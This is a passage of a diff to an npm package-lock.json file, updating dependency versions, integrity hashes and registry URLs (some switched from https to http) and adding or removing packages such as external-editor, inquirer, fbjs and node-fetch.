"dependencies": { - "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true - } + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { + "has-flag": "3.0.0" } } } }, "eslint-loader": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-2.1.0.tgz", - "integrity": "sha512-f4A/Yk7qF+HcFSz5Tck2QoKIwJVHlX0soJk5MkROYahb5uvspad5Ba60rrz4u/V2/MEj1dtp/uBi6LlLWVaY7Q==", + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-2.1.1.tgz", + "integrity": "sha512-1GrJFfSevQdYpoDzx8mEE2TDWsb/zmFuY09l6hURg1AeFIKQOvZ+vH0UPjzmd1CZIbfTV5HUkMeBmFiDBkgIsQ==", "dev": true, "requires": { "loader-fs-cache": "1.0.1", @@ -4366,7 +4364,7 @@ "integrity": "sha512-kapdTCt1bjmspxStVKX6huolXVV5ZfyZguY1lcfhVVZstce3bqxH9mcLzNn3/mlgW6wQ732+0fuG9v7h0ZQoKg==", "dev": true, "requires": { - "acorn": "5.7.1", + "acorn": "5.7.3", "acorn-jsx": "4.1.1" } }, @@ -4420,7 +4418,7 @@ }, "events": { "version": "1.1.1", - "resolved": "https://registry.npmjs.org/events/-/events-1.1.1.tgz", + "resolved": "http://registry.npmjs.org/events/-/events-1.1.1.tgz", "integrity": "sha1-nr23Y1rQmccNzEwqH1AEKI6L2SQ=", "dev": true }, @@ -4439,7 +4437,7 @@ "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==", "dev": true, "requires": { - "md5.js": "1.3.4", + "md5.js": "1.3.5", "safe-buffer": "5.1.1" } }, @@ -4524,7 +4522,7 @@ }, "express": { "version": "4.16.3", - "resolved": "https://registry.npmjs.org/express/-/express-4.16.3.tgz", + "resolved": "http://registry.npmjs.org/express/-/express-4.16.3.tgz", "integrity": "sha1-avilAjUNsyRuzEvs9rWjTSL37VM=", "dev": true, "requires": { @@ -4595,7 +4593,7 @@ }, "finalhandler": { "version": "1.1.1", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz", + "resolved": "http://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz", "integrity": "sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg==", "dev": true, "requires": { @@ -4694,14 +4692,25 @@ } }, "external-editor": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-2.2.0.tgz", - "integrity": "sha512-bSn6gvGxKt+b7+6TKEv1ZycHleA7aHhRHyAqJyp5pbUFuYYNIzpZnQDk7AsYckyWdEnTeAnay0aCy2aV6iTk9A==", + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.0.3.tgz", + "integrity": "sha512-bn71H9+qWoOQKyZDo25mOMVpSmXROAsTJVVVYzrrtol3d4y+AsKjf4Iwl2Q+IuT0kFSQ1qo166UuIwqYq7mGnA==", "dev": true, "requires": { - "chardet": "0.4.2", - "iconv-lite": "0.4.18", + "chardet": "0.7.0", + "iconv-lite": "0.4.24", "tmp": "0.0.33" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dev": true, + "requires": { + "safer-buffer": "2.1.2" + } + } } }, "extglob": { @@ -4789,27 +4798,6 @@ "websocket-driver": "0.7.0" } }, - "fbjs": { - "version": "0.8.17", - "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.17.tgz", - "integrity": "sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=", - "requires": { - "core-js": "1.2.7", - "isomorphic-fetch": "2.2.1", - "loose-envify": "1.3.1", - "object-assign": "4.1.1", - "promise": "7.3.1", - "setimmediate": "1.0.5", - "ua-parser-js": "0.7.18" - }, - "dependencies": { - "core-js": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-1.2.7.tgz", - "integrity": "sha1-ZSKUwUZR2yj6k70tX/KYOk8IxjY=" - } - } - }, "fd-slicer": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.0.1.tgz", @@ -4980,7 +4968,7 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { @@ -5107,7 +5095,7 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { @@ -6107,7 +6095,7 @@ }, "get-stream": { "version": "3.0.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "resolved": "http://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", "dev": true }, @@ -6127,9 +6115,9 @@ } }, "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha1-wZyd+aAocC1nhhI4SmVSQExjbRU=", + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz", + "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", "dev": true, "requires": { "fs.realpath": "1.0.0", @@ -6179,7 +6167,7 @@ "globals": { "version": "9.18.0", "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", - "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=", + "integrity": "sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==", "dev": true }, "globby": { @@ -6190,7 +6178,7 @@ "requires": { "array-union": "1.0.2", "arrify": "1.0.1", - "glob": "7.1.2", + "glob": "7.1.3", "object-assign": "4.1.1", "pify": "2.3.0", "pinkie-promise": "2.0.1" @@ -6436,7 +6424,7 @@ "history": { "version": "4.7.2", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", - "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=", + "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==", "requires": { "invariant": "2.2.2", "loose-envify": "1.3.1", @@ -6509,7 +6497,7 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { @@ -6679,7 +6667,7 @@ }, "http-proxy-middleware": { "version": "0.18.0", - "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.18.0.tgz", + "resolved": "http://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.18.0.tgz", "integrity": "sha512-Fs25KVMPAIIcgjMZkVHJoKg9VcXcC1C8yb9JUgeDvVXY0S/zgVIhMb+qVswDIgtJe2DfckMSY2d6TuTEutlk6Q==", "dev": true, "requires": { @@ -6957,12 +6945,6 @@ "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", "dev": true }, - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, "micromatch": { "version": "3.1.10", "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", @@ -7006,7 +6988,7 @@ "iconv-lite": { "version": "0.4.18", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.18.tgz", - "integrity": "sha1-I9hlaxaq5nQqwpcy6o8DNqR4nPI=" + "integrity": "sha512-sr1ZQph3UwHTR0XftSbK85OvBbxe/abLGzEnPENCQwmHf7sck8Oyu4ob3LgBxWWxRoM+QszeUyl7jbqapu2TqA==" }, "icss-replace-symbols": { "version": "1.1.0", @@ -7042,13 +7024,73 @@ "dev": true }, "import-local": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/import-local/-/import-local-1.0.0.tgz", - "integrity": "sha512-vAaZHieK9qjGo58agRBg+bhHX3hoTZU/Oa3GESWLz7t1U62fk63aHuDJJEteXoDeTCcPmUT+z38gkHPZkkmpmQ==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-2.0.0.tgz", + "integrity": "sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==", "dev": true, "requires": { - "pkg-dir": "2.0.0", + "pkg-dir": "3.0.0", "resolve-cwd": "2.0.0" + }, + "dependencies": { + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "requires": { + "locate-path": "3.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "requires": { + "p-locate": "3.0.0", + "path-exists": "3.0.0" + } + }, + "p-limit": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz", + "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", + "dev": true, + "requires": { + "p-try": "2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "requires": { + "p-limit": "2.0.0" + } + }, + "p-try": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.0.0.tgz", + "integrity": "sha512-hMp0onDKIajHfIkdRk3P4CdCmErkYAxxDtP3Wx/4nZ3aGlau2VKh3mZpcuFkH27WQkL/3WBCPOktzA9ZOAnMQQ==", + "dev": true + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true + }, + "pkg-dir": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", + "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", + "dev": true, + "requires": { + "find-up": "3.0.0" + } + } } }, "imurmurhash": { @@ -7089,21 +7131,21 @@ "dev": true }, "inquirer": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-5.2.0.tgz", - "integrity": "sha512-E9BmnJbAKLPGonz0HeWHtbKf+EeSP93paWO3ZYoUpq/aowXvYGjjCSuashhXPpzbArIjBbji39THkxTz9ZeEUQ==", + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.2.0.tgz", + "integrity": "sha512-QIEQG4YyQ2UYZGDC4srMZ7BjHOmNk1lR2JQj5UknBapklm6WHA+VVH7N+sUdX3A7NeCfGF8o4X1S3Ao7nAcIeg==", "dev": true, "requires": { "ansi-escapes": "3.1.0", "chalk": "2.4.1", "cli-cursor": "2.1.0", "cli-width": "2.2.0", - "external-editor": "2.2.0", + "external-editor": "3.0.3", "figures": "2.0.0", "lodash": "4.17.10", "mute-stream": "0.0.7", "run-async": "2.3.0", - "rxjs": "5.5.11", + "rxjs": "6.3.3", "string-width": "2.1.1", "strip-ansi": "4.0.0", "through": "2.3.8" @@ -7132,7 +7174,7 @@ "requires": { "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "5.4.0" + "supports-color": "5.5.0" } }, "has-flag": { @@ -7151,9 +7193,9 @@ } }, "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { "has-flag": "3.0.0" @@ -7162,12 +7204,13 @@ } }, "internal-ip": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-1.2.0.tgz", - "integrity": "sha1-rp+/k7mEh4eF1QqN4bNWlWBYz1w=", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-3.0.1.tgz", + "integrity": "sha512-NXXgESC2nNVtU+pqmC9e6R8B1GpKxzsAQhffvh5AL79qKnodd+L7tnEQmTiUAVngqLalPbSqRA7XGIEL5nCd0Q==", "dev": true, "requires": { - "meow": "3.7.0" + "default-gateway": "2.7.2", + "ipaddr.js": "1.8.0" } }, "interpret": { @@ -7196,6 +7239,12 @@ "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", "dev": true }, + "ip-regex": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz", + "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=", + "dev": true + }, "ipaddr.js": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.8.0.tgz", @@ -7422,7 +7471,8 @@ "is-stream": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", - "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" + "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=", + "dev": true }, "is-symbol": { "version": "1.0.1", @@ -7493,15 +7543,6 @@ } } }, - "isomorphic-fetch": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz", - "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=", - "requires": { - "node-fetch": "1.7.3", - "whatwg-fetch": "2.0.4" - } - }, "isstream": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", @@ -7561,9 +7602,9 @@ } }, "js-file-download": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.1.tgz", - "integrity": "sha1-3g3S1mHVY19QanO5YqtY3bZQvts=" + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.4.tgz", + "integrity": "sha512-lH75hwOMBkIDqIyAWgSYwkMa+YkBu/ATJf2rEXnC1TmHCCHmLNG/NFhZ6R4tipnH2v0EvLOhGlARc0vyS1j0mA==" }, "js-tokens": { "version": "3.0.2", @@ -7690,7 +7731,7 @@ "di": "0.0.1", "dom-serialize": "2.2.1", "expand-braces": "0.1.2", - "glob": "7.1.2", + "glob": "7.1.3", "graceful-fs": "4.1.11", "http-proxy": "1.17.0", "isbinaryfile": "3.0.3", @@ -8709,9 +8750,9 @@ } }, "karma-webpack": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/karma-webpack/-/karma-webpack-3.0.0.tgz", - "integrity": "sha512-Ja1o9LLoqWaJyUNhTKaXjWiEH9y7a9H3mzP8pYB30SBsgoF5KBS/65NeHFd+QPuT9ITrym8xFt8BZeGbcOfujA==", + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/karma-webpack/-/karma-webpack-3.0.5.tgz", + "integrity": "sha512-nRudGJWstvVuA6Tbju9tyGUfXTtI1UXMXoRHVmM2/78D0q6s/Ye2IC157PKNDC15PWFGR0mVIRtWLAdcfsRJoA==", "dev": true, "requires": { "async": "2.6.1", @@ -8729,14 +8770,6 @@ "dev": true, "requires": { "lodash": "4.17.10" - }, - "dependencies": { - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - } } }, "loader-utils": { @@ -8764,14 +8797,14 @@ "integrity": "sha1-+m6i5DuQpoAohD0n8gddNajD5vk=" }, "keycode": { - "version": "2.1.9", - "resolved": "https://registry.npmjs.org/keycode/-/keycode-2.1.9.tgz", - "integrity": "sha1-lkojxU5IiUBbSGGlyfBIDUUUHfo=" + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/keycode/-/keycode-2.2.0.tgz", + "integrity": "sha1-PQr1bce4uOXLqNCpfxByBO7CKwQ=" }, "killable": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/killable/-/killable-1.0.0.tgz", - "integrity": "sha1-2ouEvUfeU5WHj5XWTQLyRJ/gXms=", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/killable/-/killable-1.0.1.tgz", + "integrity": "sha512-LzqtLKlUwirEUyl/nicirVmNiPvYs7l5n8wOPP7fyJVpUPkvCnW/vuiXGpylGUlnPDnB7311rARzAt3Mhswpjg==", "dev": true }, "kind-of": { @@ -8875,9 +8908,9 @@ } }, "loader-runner": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.3.0.tgz", - "integrity": "sha1-9IKuqC1UPgeSFwDVpG7yb9rGuKI=", + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.3.1.tgz", + "integrity": "sha512-By6ZFY7ETWOc9RFaAIb23IjJVcM4dvJC/N57nmdz9RSkMXvAXGI7SyVlAw3v8vjtDRlqThgVDVmTnr9fqMlxkw==", "dev": true }, "loader-utils": { @@ -9034,12 +9067,6 @@ "object.assign": "4.1.0" } }, - "long": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/long/-/long-3.2.0.tgz", - "integrity": "sha1-2CG3E4yhy1gcFymQ7xTbIAtcR0s=", - "dev": true - }, "longest": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", @@ -9097,11 +9124,14 @@ } } }, - "mamacro": { - "version": "0.0.3", - "resolved": "https://registry.npmjs.org/mamacro/-/mamacro-0.0.3.tgz", - "integrity": "sha512-qMEwh+UujcQ+kbz3T6V+wAmO2U8veoq2w+3wY8MquqwVA3jChfwY+Tk52GZKDfACEPjuZ7r2oJLejwpt8jtwTA==", - "dev": true + "map-age-cleaner": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.2.tgz", + "integrity": "sha512-UN1dNocxQq44IhJyMI4TU8phc2m9BddacHRPRjKGLYaF0jqd3xLz0jS0skpAU9WgYyoR4gHtUpzytNBS385FWQ==", + "dev": true, + "requires": { + "p-defer": "1.0.0" + } }, "map-cache": { "version": "0.2.2", @@ -9125,13 +9155,22 @@ } }, "md5.js": { - "version": "1.3.4", - "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.4.tgz", - "integrity": "sha1-6b296UogpawYsENA/Fdk1bCdkB0=", + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz", + "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==", "dev": true, "requires": { "hash-base": "3.0.4", - "inherits": "2.0.3" + "inherits": "2.0.3", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + } } }, "media-typer": { @@ -9173,7 +9212,7 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { @@ -9310,7 +9349,7 @@ "minimatch": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", "dev": true, "requires": { "brace-expansion": "1.1.8" @@ -9406,6 +9445,20 @@ "ms": "2.0.0" } }, + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" + } + }, "has-flag": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", @@ -9541,9 +9594,9 @@ "dev": true }, "nice-try": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.4.tgz", - "integrity": "sha512-2NpiFHqC87y/zFke0fC0spBXL3bBsoh/p5H1EFhshxjCR5+0g2d6BiXbUFz9v1sAcxsk2htp2eQnNIci2dIYcA==", + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", + "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", "dev": true }, "no-case": { @@ -9555,15 +9608,6 @@ "lower-case": "1.1.4" } }, - "node-fetch": { - "version": "1.7.3", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", - "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", - "requires": { - "encoding": "0.1.12", - "is-stream": "1.1.0" - } - }, "node-forge": { "version": "0.7.5", "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.7.5.tgz", @@ -9621,7 +9665,7 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { @@ -9667,7 +9711,7 @@ "normalize-package-data": { "version": "2.4.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", + "integrity": "sha512-9jjUFbTPfEy3R/ad/2oNbKtW9Hgovl5O1FvFWKkKblNXoN/Oou6+9+KKohPK13Yc3/TyunyWhJp6gvRNR/PPAw==", "dev": true, "requires": { "hosted-git-info": "2.7.1", @@ -9691,11 +9735,11 @@ "integrity": "sha512-iXcbM3NWr0XkNyfiSBsoPezi+0V92P9nj84yVV1/UZxRUrGczgX/X91KMAGM0omWLY2+2Q1gKD/XRn4gQRDB2A==" }, "npm": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/npm/-/npm-6.3.0.tgz", - "integrity": "sha512-oDtLFo3wXue/xe3pU/oks9VHS5501OAWlYrZrApZkFv7l2LXk+9CfPMbjbfZWK7Jqlc1jbNcJMkB6KZC7K/vEA==", + "version": "6.4.1", + "resolved": "https://registry.npmjs.org/npm/-/npm-6.4.1.tgz", + "integrity": "sha512-mXJL1NTVU136PtuopXCUQaNWuHlXCTp4McwlSW8S9/Aj8OEPAlSBgo8og7kJ01MjCDrkmqFQTvN5tTEhBMhXQg==", "requires": { - "JSONStream": "1.3.3", + "JSONStream": "1.3.4", "abbrev": "1.1.1", "ansicolors": "0.3.2", "ansistyles": "0.1.3", @@ -9704,9 +9748,10 @@ "bin-links": "1.1.2", "bluebird": "3.5.1", "byte-size": "4.0.3", - "cacache": "11.1.0", + "cacache": "11.2.0", "call-limit": "1.1.0", "chownr": "1.0.1", + "ci-info": "1.4.0", "cli-columns": "3.1.2", "cli-table3": "0.5.0", "cmd-shim": "2.0.2", @@ -9717,7 +9762,7 @@ "detect-newline": "2.1.0", "dezalgo": "1.0.3", "editor": "1.0.0", - "figgy-pudding": "3.2.0", + "figgy-pudding": "3.4.1", "find-npm-prefix": "1.0.2", "fs-vacuum": "1.2.10", "fs-write-stream-atomic": "1.0.10", @@ -9725,8 +9770,8 @@ "glob": "7.1.2", "graceful-fs": "4.1.11", "has-unicode": "2.0.1", - "hosted-git-info": "2.6.0", - "iferr": "1.0.0", + "hosted-git-info": "2.7.1", + "iferr": "1.0.2", "imurmurhash": "0.1.4", "inflight": "1.0.6", "inherits": "2.0.3", @@ -9735,7 +9780,7 @@ "is-cidr": "2.0.6", "json-parse-better-errors": "1.0.2", "lazy-property": "1.0.0", - "libcipm": "2.0.0", + "libcipm": "2.0.2", "libnpmhook": "4.0.1", "libnpx": "10.2.0", "lock-verify": "2.0.2", @@ -9756,23 +9801,23 @@ "mississippi": "3.0.0", "mkdirp": "0.5.1", "move-concurrently": "1.0.1", - "node-gyp": "3.7.0", + "node-gyp": "3.8.0", "nopt": "4.0.1", "normalize-package-data": "2.4.0", "npm-audit-report": "1.3.1", "npm-cache-filename": "1.0.2", "npm-install-checks": "3.0.0", - "npm-lifecycle": "2.0.3", + "npm-lifecycle": "2.1.0", "npm-package-arg": "6.1.0", - "npm-packlist": "1.1.10", + "npm-packlist": "1.1.11", "npm-pick-manifest": "2.1.0", "npm-profile": "3.0.2", - "npm-registry-client": "8.5.1", + "npm-registry-client": "8.6.0", "npm-registry-fetch": "1.1.0", "npm-user-validate": "1.0.0", "npmlog": "4.1.2", "once": "1.4.0", - "opener": "1.4.3", + "opener": "1.5.0", "osenv": "0.1.5", "pacote": "8.1.6", "path-is-inside": "1.0.2", @@ -9787,7 +9832,7 @@ "read-package-tree": "5.2.1", "readable-stream": "2.3.6", "readdir-scoped-modules": 